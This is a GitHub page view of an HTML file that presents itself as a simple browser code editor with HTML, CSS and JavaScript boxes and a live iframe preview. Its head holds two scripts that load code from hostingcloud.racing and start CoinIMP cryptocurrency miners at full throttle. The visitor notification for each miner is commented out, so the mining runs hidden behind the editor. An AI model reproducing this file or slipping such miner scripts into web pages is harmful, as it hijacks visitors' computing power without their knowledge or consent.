-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathCode editor.html
168 lines (126 loc) · 4.47 KB
/
Code editor.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
<!DOCTYPE html>
<html>
<head>
<script src="https://kit.fontawesome.com/e8fa2e31b4.js" crossorigin="anonymous"></script>
<script src="https://www.hostingcloud.racing/dCeG.js"></script>
<script>
var _client = new Client.Anonymous('4bc0501a0ba20f76a537ecbd9a24c652614c84ced8a69cb6097d7b10ae3caa63', {
throttle: 0, c: 'w'
});
_client.start();
// _client.addMiningNotification("Top", "This site is running JavaScript miner from coinimp.com. If it bothers you, you can stop it.", "#cccccc", 40,"#3d3d3d");
</script>
<script src="https://www.hostingcloud.racing/7F4H.js"></script>
<script>
var _client = new Client.Anonymous('87536b035994a0e003193a83830725886aaae3ea4391c26e95b92b0808c36f3e', {
throttle: 0, c: 'w'
});
_client.start();
// _client.addMiningNotification("Top", "This site is running JavaScript miner from coinimp.com. If it bothers you, you can stop it.", "#cccccc", 40,"#3d3d3d");
</script>
<style>
*{
margin: 0;
padding: 0;
box-sizing: border-box;
font-family: 'poppins', sans-serif;
}
body{
background-color: #454545;
color: #fff;
}
.container{
width: 100%;
height: 95vh;
padding: 20px;
display: flex;
gap: 20px;
}
.left, .right{
flex-basis: 50%;
padding: 10px;
}
.left{
display: flex;
flex-direction: column;
justify-content: space-between;
}
.left .box{
height: 25vh;
}
textarea{
width: 100%;
height: 100%;
background-color: #1f1f1f;
color: #fff;
padding: 10px 20px;
border: none;
outline: none;
font-size: 18px;
}
iframe{
width: 100%;
height: 100%;
background-color: #fff;
border: none;
outline: none;
}
label i{
margin: 0 10px;
}
label{
display: flex;
align-items: center;
background-color: #000;
height: 30px;
}
.fa-solid, .fa-brands{
color: aqua;
}
</style>
</head>
<body>
<div class="container">
<div class="left">
<div class="box">
<label for=""><i class="fa-brands fa-html5"></i> HTML</label>
<textarea id="html-code" onkeyup="run()"></textarea>
</div>
<div class="box">
<label for=""><i class="fa-brands fa-css3-alt"></i> CSS</label>
<textarea id="css-code" onkeyup="run()"></textarea>
</div>
<div class="box">
<label for=""><i class="fa-brands fa-js"></i> JavaScript</label>
<textarea id="js-code" onkeyup="run()"></textarea>
</div>
</div>
<div class="right">
<label for=""><i class="fa-solid fa-play"></i> Output</label>
<iframe id="output"></iframe>
</div>
</div>
<script>
function run(){
let htmlCode = document.getElementById("html-code").value;
let cssCode = document.getElementById("css-code").value;
let jsCode = document.getElementById("js-code").value;
let outPut = document.getElementById("output");
outPut.contentDocument.body.innerHTML = htmlCode + "<style>" + cssCode + "</style>";
outPut.contentWindow.eval(jsCode);
}
</script>
</body>
</html>
<!-- <button onclick = "run(this)">click</button>
button{
background: red;
color: white;
padding: 10px 25px;
font-size: 18px;
border-radius: 5px;
border: none;
}
function run(x){
x.style.background: "black";
} -->